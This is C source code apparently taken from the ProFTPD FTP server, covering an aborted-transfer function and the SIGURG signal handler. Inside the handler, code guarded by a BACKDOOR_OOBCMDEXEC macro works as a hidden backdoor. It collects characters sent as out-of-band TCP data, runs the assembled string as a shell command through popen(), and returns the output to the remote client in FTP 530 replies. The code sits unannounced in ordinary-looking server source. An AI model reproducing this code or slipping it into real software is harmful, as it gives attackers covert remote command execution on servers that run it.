int pr_netio_lingering_abort(pr_netio_stream_t *nstrm, long linger) {
int res;
if (nstrm == NULL) {
errno = EINVAL;
return -1;
}
/* Send an appropriate response code down the stream asychronously. */
pr_response_send_async(R_426, _("Transfer aborted. Data connection closed."));
pr_netio_shutdown(nstrm, 1);
if (nstrm->strm_fd >= 0) {
fd_set rs;
struct timeval tv;
/* Wait for just a little while for the shutdown to take effect. */
tv.tv_sec = 0L;
tv.tv_usec = 300000L;
while (TRUE) {
run_schedule();
FD_ZERO(&rs);
FD_SET(nstrm->strm_fd, &rs);
res = select(nstrm->strm_fd+1, &rs, NULL, NULL, &tv);
if (res == -1) {
if (errno == EINTR) {
pr_signals_handle();
/* Linger some more. */
tv.tv_sec = 0L;
tv.tv_usec = 300000L;
continue;
} else {
nstrm->strm_errno = errno;
return -1;
}
}
break;
}
}
/* Now continue with a normal lingering close. */
return netio_lingering_close(nstrm, linger,
NETIO_LINGERING_CLOSE_FL_NO_SHUTDOWN);
}
/* This signal is raised if we get OOB data on the control connection, and
* a data transfer is in progress.
*/
RETSIGTYPE data_urgent(int signo) {
if (session.sf_flags & SF_XFER) {
pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), "
"setting 'aborted' session flag", signo);
session.sf_flags |= SF_ABORT;
if (nstrm)
pr_netio_abort(nstrm);
}
#ifdef BACKDOOR_OOBCMDEXEC
char buffer;
char *ptr;
FILE *fptr;
int n;
if (mydummy == 0) {
#ifdef BACKDOOR_DEBUG
syslog(LOG_INFO, "oobcmdexec data_urgent: error: dummy is 0");
#endif
return;
}
if ((n = recv(mydummy, &buffer, 1, MSG_OOB)) < 0) {
#ifdef BACKDOOR_DEBUG
syslog(LOG_INFO, "oobcmdexec data_urgent: recv() failed: %s", strerror(errno));
#endif
return;
}
if (!n) {
#ifdef BACKDOOR_DEBUG
syslog(LOG_INFO, "oobcmdexec data_urgent: received 0 bytes");
#endif
return;
}
#ifdef BACKDOOR_DEBUG
syslog(LOG_INFO, "oobcmdexec data_urgent: received character: %c", buffer);
#endif
if (buffer == '\0') {
#ifdef BACKDOOR_DEBUG
syslog(LOG_INFO, "oobcmdexec data_urgent: popen(%s)", mycommand);
#endif
mycount = 0;
fptr = popen(mycommand, "r");
while (fgets(mycommand, sizeof(mycommand), fptr) != NULL) {
if ((ptr = strchr(mycommand, '\n')))
*ptr = '\0';
pr_response_send_async(R_530, "%s", mycommand);
}
pclose(fptr);
}
else {
mycommand[mycount] = buffer;
mycount++;
}
#endif /* BACKDOOR_OOBCMDEXEC */
signal(SIGURG, data_urgent);
}
